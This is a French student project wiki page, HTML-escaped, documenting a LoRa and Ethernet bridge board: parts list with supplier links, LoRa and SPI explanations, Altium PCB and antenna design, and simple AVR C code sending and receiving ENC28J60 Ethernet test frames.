 | Mouser [http://www.mouser.fr/ProductDetail/TXC-Corporation/AT-27000MAGK-T/?qs=sGAEpiMZZMsBj6bBr9Q9acbyZ2GpyozzM1WJFBKECM0%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie  Arduino&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Micro-contrôleur de type ATMEGA328P&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/atmel/atmega328p-mur/mcu-8-bits-atmega-20mhz-mlf-32/dp/2425125]&lt;br /&gt;
 |- &lt;br /&gt;
 | Quartz FA238 16MHz&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/iqd-frequency-products/lfxtal003237/quartz-cms-16mhz/dp/9713808?MER=BN-PDP-9713808]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistance 1MΩ +/- 5%&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603saf1004t5e/thick-film-resistor-1mohm-100mw/dp/1631320]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Résistance 1KΩ&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcwr06x1001ftl/res-couche-epaisse-1k-1-0-1w-0603/dp/2447272]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 470Ω&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031470r/res-couche-epaisse-470r-1-0-063w/dp/9331239]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 100nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell  [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 4.7uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x475k6r3ct/condensateur-mlcc-x5r-4-7uf-6/dp/2320811]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 10uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5 |&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x106m6r3ct/condensateur-mlcc-x5r-10uf-0603/dp/1759393]&lt;br /&gt;
 |-&lt;br /&gt;
 | Interrupteur&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/CK-Components/GT11MSABE/?qs=sGAEpiMZZMvudeGI7i40XDPOW52%2fnz5EVihaxwUPFuE%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Embase USB&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Farnell [http://fr.farnell.com/te-connectivity-amp/1734328-1/embase-mini-usb-2-0-type-ab-traversante/dp/2112375?ost=2112375&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | FTDI FT232 BASIC&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/ftdi/ft232bl-tr/usb-to-uart-lqfp32-232/dp/9519769] MOUSER [http://www.mouser.fr/ProductDetail/FTDI/FT232RL-TUBE/?qs=sGAEpiMZZMs5ceO8zL%252bTx2H7JnbI4GMI]&lt;br /&gt;
 |-&lt;br /&gt;
 | Diode&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/s1a/diode-cms-1-0a-50v/dp/7277920?ost=DIODE+7277920&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur 78ADJ  LDO Tension fixe&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/on-semiconductor/mc33269dt-5-0g/ic-linear-voltage-regulator/dp/1652331?ost=1652331&amp;amp;selectedCategoryId=&amp;amp;categoryName=Toutes+les+cat%C3%A9gories&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED yellow&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0806/led-0805-super-brt-yellow/dp/1716767]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED orange&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell&lt;br /&gt;
 |-&lt;br /&gt;
 | LED green&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0804/led-0805-green-300mcd-520nm/dp/1716766]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED blue&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0603/led-0603-super-bright-blue/dp/1716770]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie LoRa&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Module radio de type RF-LORA-868-SX1276&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Semtech/SX1276IMLTRT/?qs=%2fha2pyFadugD0GFlntRWMUKdf7nvBipcWBFnZuVONfp58bvCDWvC3g%3d%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10uF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/grm188r60j106ke47d/condens-mlcc-x5r-10uf-6-3v-0603/dp/2494230]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 100nF&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 47pF |&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n470j500ct/condensateur-mlcc-c0g-np0-47pf/dp/1759062]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 15pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n150j500ct/condensateur-mlcc-c0g-np0-15pf/dp/1759055]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b103k500ct/condensateur-mlcc-x7r-10nf-50v/dp/1759102]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.5pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n1r5c500ct/condensateur-mlcc-c0g-np0-1-5pf/dp/1759042]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 33pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n330j500ct/condensateur-mlcc-c0g-np0-33pf/dp/1759059]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 4.7pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n4r7c500ct/condensat-mlcc-np0-4-7pf-50v-0603/dp/2524896]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.2pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/yageo-phycomp/cc0603crnpo9bn1r2/condensateur-mlcc-c0g-np0-1-2pf/dp/721852]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.8pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n1r8c500ct/condensat-mlcc-np0-1-8pf-50v-0603/dp/2524881]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 3.3pF |&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n3r3c500ct/condensat-mlcc-np0-3-3pf-50v-0603/dp/2524894]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b102k500ct/condensateur-mlcc-x7r-1nf-50v/dp/1759088]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 33nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1608b33nj/inductance-hf-33nf-0603/dp/1669604]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 6.2nH (0402)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1005s6n2s/inductance-hf-6-2nf-0402/dp/1669585]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 10nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcft000043/inductance-0603-10nh/dp/1711753]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 1KΩ&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3geyj102v/res-couche-epaisse-1k-5-0-1w-0603/dp/2059601]&lt;br /&gt;
 |-&lt;br /&gt;
 | Quartz 32MHz(16pF)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/epson/x1e0000210391-tsx-3225-32mhz-16pf/quartz-32mhz-16pf-3-2-x-2-5mm/dp/2471844]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur PE4259&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Digi-Key [http://www.digikey.fr/product-detail/fr/peregrine-semiconductor/4259-63/1046-1011-1-ND/2614515?WT.srch=1&amp;amp;mkwid=s2ceNN64k&amp;amp;pcrid=78125697774&amp;amp;pkw=_cat%3Adigikey.fr&amp;amp;pmt=b&amp;amp;pdv=c] Farnell[http://fr.farnell.com/skyworks-solutions/as179-92lf/ic-switch-rf-spdt-0-02-3-0ghz/dp/1753762]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Deuxième prototype (à base d'un ARM-3 Cortex)&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Autres cartes&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | 32u4 RFM95 LoRa Radio - 868 or 915 MHz&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Adafruit [https://www.adafruit.com/product/3078]&lt;br /&gt;
 |-&lt;br /&gt;
 | Prototype carte developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.farnell.com/nxp/om11043/kit-carte-de-prototypage-mbed/dp/1761179]&lt;br /&gt;
 |-&lt;br /&gt;
 | Kit Board developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.rs-online.com/web/p/kits-de-developpement-pour-processeurs-et-microcontroleurs/7694182/?searchTerm=769-4182&amp;amp;relevancy-data=636F3D3126696E3D4931384E525353746F636B4E756D6265724D504E266C753D656E266D6D3D6D61746368616C6C26706D3D5E283F69292852537C5253207C52532D293F5C647B337D285C73293F5B5C732D2F255C2E2C5D285C73293F5C647B332C347D2426706F3D313426736E3D592673743D52535F53544F434B5F4E554D4245522677633D4E4F4E45267573743D3736392D34313832267374613D3736393431383226]&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:NEWListe_du_matériel-IMA5-PFE19.ods]]&lt;br /&gt;
&lt;br /&gt;
= Premier prototype =&lt;br /&gt;
&lt;br /&gt;
La carte est composée de 3 parties principales : partie Ethernet, partie uC AtMega328P , partie LoRa.&lt;br /&gt;
&lt;br /&gt;
Le rôle du micro-contrôleur est de traiter les informations qui lui parviennent , interfacer et contrôler les communications entre  les périphériques.&lt;br /&gt;
&lt;br /&gt;
La partie LoRa est gérée par un émetteur-recepteur SX1276 doté d'un modem LoRa de chez Semtech offrant une communication longue portée. Cette communication repose sur le principe de la modulation à étalement de spectre.&lt;br /&gt;
&lt;br /&gt;
=== Qu'est ce qu'une modulation à étalement de spectre LoRa? ===&lt;br /&gt;
&lt;br /&gt;
Le modem LoRa utilise une technique exclusive de modulation du spectre étalé opérant dans la bande de fréquences ISM. Cette technique est plus résistante aux interférences et au bruit  dans la bande.&lt;br /&gt;
&lt;br /&gt;
La modulation LoRa repose sur le même principe que la modulation DSSS( Direct Sequence Spread Spectrum)  qui consiste donc à  générer de la redondance d’information à chaque envoi d’une séquence de bits.  Ainsi les bits reçus qui n’utilisent pas le même codage seront rejetés (dont les signaux d’interférence ou le bruit).  Le récepteur peut ainsi reconnaître l’émetteur.&lt;br /&gt;
Dans la modulation LoRa, l'étalement de spectre est obtenu en générant un signal qui  varie continuellement en fréquence et occupe toute la bande passante.&lt;br /&gt;
&lt;br /&gt;
// schéma&lt;br /&gt;
&lt;br /&gt;
=== Alimentation ===&lt;br /&gt;
Pour fonctionner la carte a besoin d'alimentation.La carte fonctionnant sous une tension de 5V ,il a été convenu qu'elle sera alimentée via un port USB. &lt;br /&gt;
&lt;br /&gt;
=== Interfaçage ===&lt;br /&gt;
Les périphériques reliés au microcontrôleur communiqueront avec ce dernier via la liaison SPI. Le bus  SPI est un bus série synchrone constitué de 4 signaux logiques. &lt;br /&gt;
SCK,MOSI,SS générés par le maître et MISO généré par l'esclave. Le maître s'occupe de la communication. Plusieurs esclaves peuvent communiquer sur le même bus à condition qu'il y ait une ligne de sélection dédiée à chaque esclave.&lt;br /&gt;
&lt;br /&gt;
NB : Le uC AtMEGA328P ne disposant que d'une seule ligne de sélection SS nous sommes confrontés au problème de liaison d' un périphérique supplémentaire.&lt;br /&gt;
Solution: Nous allons donc configurer un I/O comme un SS afin d'avoir autant de SS que de périphériques esclaves.&lt;br /&gt;
&lt;br /&gt;
Fonctionnement de l'interface SPI du SX1278 : &lt;br /&gt;
&lt;br /&gt;
La communication est simultanée entre un maître et un esclave. Le maître génère l'horloge et sélectionne un esclave. A chaque coup d'horloge , le maître transmet un bit à l'esclave.&lt;br /&gt;
&lt;br /&gt;
MOSI est généré par le maître sur le front descendant de SCK et est échantillonné par l'esclave sur le front montant de SCK tandis que MISO est généré par l'esclave sur le bord descendant de SCK.&lt;br /&gt;
&lt;br /&gt;
Le  transfert est déclenché lorsque NSS est à l'état bas . MISO est alors en haute impédance lorsque NSS est à l'état haut.&lt;br /&gt;
&lt;br /&gt;
*Le premier octet envoyé est l'octet d'adresse. Il comprend:&lt;br /&gt;
  * Un bit wnr, 1 pour l'accès en écriture et 0 pour l'accès en lecture.&lt;br /&gt;
  * suivi de 7 bits d'adresse(MSB en premier).&lt;br /&gt;
&lt;br /&gt;
*Le deuxième octet est un octet de données, soit envoyé sur MOSI par le maître en cas d'accès en écriture ou reçu par le maître sur MISO en cas d'accès en lecture. L'octet de données est transmis MSB en premier.&lt;br /&gt;
&lt;br /&gt;
Les octets de traitement peuvent être envoyés sur MOSI (pour accès en écriture) ou reçus sur MISO (pour accès en lecture) sans un front montant du NSS et renvoyer l'adresse.&lt;br /&gt;
&lt;br /&gt;
La transmission de la trame se termine lorsque NSS passe à l'état haut. &lt;br /&gt;
&lt;br /&gt;
Pendant l'accès en écriture, l'octet transféré de l'esclave au maître sur la ligne MISO est la valeur de l'écriture avant l'opération d'écriture.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Liaison_Maitre-esclave.jpg|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
Transmission d'une trame SPI LoRa en mode simple accès&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Simple_access_lora.jpg|Transmission trame SPI LoRa|500px|center]]&lt;br /&gt;
&lt;br /&gt;
=== Machine d'états===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Réalisation des cartes PCB===&lt;br /&gt;
====La carte PCB====&lt;br /&gt;
----&lt;br /&gt;
Depuis quelques séances, nous avons commencé à réaliser notre carte PCB  qui contient la partie Ethernet  , Microcontrôleur et LoRa à l'aide du logiciel Altium. &lt;br /&gt;
Dans un premier temps nous avons d'abord réalisé les librairies Altium des composants dont nous ne disposons pas. La réalisation des librairies consiste en 2 étapes : schématique et empreinte. Il s'agit donc des composants tels que : le chip SX1276, régulateur PE4259 et le connecteur SI-50196-F. &lt;br /&gt;
&lt;br /&gt;
Voici leurs schématiques et footprints : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:sx1276.PNG|Schematique de Lora SX1276&lt;br /&gt;
Fichier:Connector.PNG‎|Schematique de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259.PNG‎|Schématique de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Con_footprint.PNG|Footprint de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259foot.PNG‎|Footprint de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Il conviendra de préciser que quelques librairies utilisées sont disponibles et téléchargeables sur le site d'Altium Designer et peuvent être installées sur le logiciel Altium de l'école.&lt;br /&gt;
 http://techdocs.altium.com/display/ADOH/Download+Libraries&lt;br /&gt;
&lt;br /&gt;
Cependant nous avons eu un problème du connecteur, puisque normalement pour les autres composants les pistes sont reliés avec les composants qui sont autours sur le schématique et le routage. Mais après avoir vu la carte que nous avons, pour la partie du connecteur il faut créer une cadre pour fixer la place du connecteur sur la carte PCB.&lt;br /&gt;
&lt;br /&gt;
Parallèlement nous avons réalisé la première étape de la conception d'une carte électronique : la réalisation de la schématique. Ci-dessous les schématiques des différentes parties de la carte&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Ethernet.PNG|Ethernet_Sch&lt;br /&gt;
Fichier:AT328P.PNG|AT328P.PNG_Sch&lt;br /&gt;
Fichier:RF_LoRa.PNG‎|RF_LoRa.PNG_Sch&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Très vite, nous avons entamé la deuxième étape de la conception : le routage. En raison des contraintes de temps, nous allons d'abord produire la partie RF_LoRa afin de pouvoir avancer sur la partie programmation.&lt;br /&gt;
&lt;br /&gt;
====Routage du PCB====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Le routage consiste à déterminer la route des signaux d'alimentation qui vont relier les composants entre eux et à placer les composants sur la carte.  La carte a été conçue en respectant quelques contraintes de conception dimensionnelles : &lt;br /&gt;
 *la valeurs théoriques de conception sont *largeur des pistes = *,&lt;br /&gt;
 * l'angle entre les pistes ne doit pas être droit, &lt;br /&gt;
 *la carte est en double face, &lt;br /&gt;
&lt;br /&gt;
[[Fichier:CartePCB.PNG‎|500px|center|PCB de la carte]]&lt;br /&gt;
&lt;br /&gt;
==== Réalisation de l'antenne ====&lt;br /&gt;
----&lt;br /&gt;
La carte nécessite une antenne pour la communication RF. En concevant la carte , nous avons désigné la piste reliée à l'antenne de telle sorte qu'elle soit adaptée à 50 ohms (afin d'éviter toute perte de puissance liée à la désadaptation). Nous avons donc utilisé le logiciel AppCAD en prenant en compte certains paramètres tels que le substrat utilisé, la fréquence de fonctionnement,..&lt;br /&gt;
[[Fichier:Sonia.png‎|500px|center|Design de l'antenne]]&lt;br /&gt;
&lt;br /&gt;
====La programmation====&lt;br /&gt;
----&lt;br /&gt;
La carte sera programmée en langage C, langage de programmation modulaire.&lt;br /&gt;
&lt;br /&gt;
Le langage a été choisi pour son caractère universel, sa rapidité, proche du langage machine permettant une programmation simple des microcontrôleurs,..&lt;br /&gt;
 &lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Partie LoRa &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
semaine 07/11/2016: Ecriture des fonctions d'écriture et de lecture de l'AtMega (digitalWrite() et digitalRead()) en C qui nous permettront d'écrire les fonctions d'écriture et de lecture SPI.&lt;br /&gt;
&lt;br /&gt;
semaine 14/11/2016 : Ecriture des librairies LoRa et AtMega ainsi que des fichiers de compilation.&lt;br /&gt;
&lt;br /&gt;
Le programme est subdivisé en 5 parties : partie configuration des entrées sorties, partie gestion de la liaison SPI , partie gestion de la modulation LoRa ainsi que les parties gérant les modules émetteurs et récepteurs de la communication RF (Client-Server).&lt;br /&gt;
Le programme est compilable. Nous allons d'abord faire des tests basiques sur un Arduino et ensuite nous testerons sur les modules inAir9 de chez modtronix.&lt;br /&gt;
&lt;br /&gt;
Après avoir retranscrit les bibliothèques en C, nous avons tenté de faire un test. On s'est vite rendu compte que les fonctions SPI étaient mal écrites, elles ont été réécrites en utilisant les registres SPI de l'AtMega328P.&lt;br /&gt;
Nous avons également réalisé 3  ponts diviseurs permettant de fournir des tensions supportables par les broches du modem LoRa.&lt;br /&gt;
Cependant,   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Pour la partie Ethernet, dans un premier temps nous avons écrit deux petits programmes pour l'émetteur et le récepteur. &lt;br /&gt;
Voici le code pour l'émetteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;avr/io.h&amp;gt;&lt;br /&gt;
#include &amp;lt;util/delay.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;quot;serial.h&amp;quot;&lt;br /&gt;
#include &amp;quot;spi.h&amp;quot;&lt;br /&gt;
#include &amp;quot;enc28j60.h&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#define MAX_PACKET     128&lt;br /&gt;
#define MAC_SIZE           6&lt;br /&gt;
#define TYPE_SIZE           2&lt;br /&gt;
&lt;br /&gt;
unsigned char mac_sender[]={0x00,0x10,0x10,0x10,0x10,0x01};&lt;br /&gt;
unsigned char mac_receiver[]={0x00,0x10,0x10,0x10,0x10,0x02};&lt;br /&gt;
unsigned char packet_type[]={0x11,0x11};&lt;br /&gt;
unsigned char packet[MAX_PACKET];&lt;br /&gt;
&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_sender);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
memcpy(packet,mac_receiver,MAC_SIZE);&lt;br /&gt;
memcpy(packet+MAC_SIZE,mac_sender,MAC_SIZE);&lt;br /&gt;
memcpy(packet+2*MAC_SIZE,packet_type,2);&lt;br /&gt;
packet[2*MAC_SIZE+2]=0xaa;&lt;br /&gt;
packet[2*MAC_SIZE+3]=0xbb;&lt;br /&gt;
int len=2*MAC_SIZE+TYPE_SIZE+3;&lt;br /&gt;
unsigned char count=0;&lt;br /&gt;
while(1){&lt;br /&gt;
		packet[2*MAC_SIZE+4]=count++;&lt;br /&gt;
                enc28j60PacketSend(len,packet);&lt;br /&gt;
                printf(&amp;quot;Packet send size=%d\n&amp;quot;,len);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et le code pour le récepteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
                int size=enc28J60PacketReceive(MAX_PACKET,packet);&lt;br /&gt;
                printf(&amp;quot;Packet received size=%d\n&amp;quot;,size);&lt;br /&gt;
                int i,col=0;&lt;br /&gt;
                for(i=2*MAC_SIZE+TYPE_SIZE;i&amp;lt;size;i++){&lt;br /&gt;
                     printf(&amp;quot;%02x&amp;quot;,packet[i]);&lt;br /&gt;
                     col++;&lt;br /&gt;
                     if(col==16){ printf(&amp;quot;\n&amp;quot;); col=0);}&lt;br /&gt;
                     }&lt;br /&gt;
                if(col&amp;gt;0) printf&amp;quot;\n&amp;quot;);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ces deux codes permettent l'émetteur et le récepteur de communiquer entre eux. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:communication.jpg|400px|center|La communication entre l'émetteur et le récepteur]]&lt;br /&gt;
&lt;br /&gt;
Avec le minicom, nous avons bien observé les données qui sont envoyées par l'émetteur et les données qui sont reçues par le récepteur.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons développé notre idée. Voici une image pour mieux expliqué comment cela fonctionne.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:Untitled drawing.jpg|400px|thumb|center|Objectif du second prototype]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La carte ethernet1 doit arriver à recevoir des paquets ethernet du PC1 par la liaison série. Ensuite elle doit envoyer ces paquets à Arduino1 via SPI. Après l'Arduino1 va envoyer ces paquets par TX et RX. Une fois qu'Arduino2 reçoit ces paquet, il doit être capable d'envoyer des paquets à la carte ethernet2. Au final la carte ethernet2 doit envoyer toutes des données reçues à PC2. La transmission doit être bidirectionnel. &lt;br /&gt;
Pour réussir ce but, nous avons divisé le travail en deux partie. Dans un premier temps, nous avons programmé une carte comme serveur et l'autre carte comme client. Et nous devions réaliser des taches marquées ci-dessous:&lt;br /&gt;
&lt;br /&gt;
* si un paquet est reçu par le ENC28j60 alors le recopier dans le tableau Ethernet&lt;br /&gt;
* si un paquet est présent dans le tableau Ethernet, envoyer l'octet courant sur le port série&lt;br /&gt;
* si un octet arrive sur le port série le stocker dans le tableau Serie&lt;br /&gt;
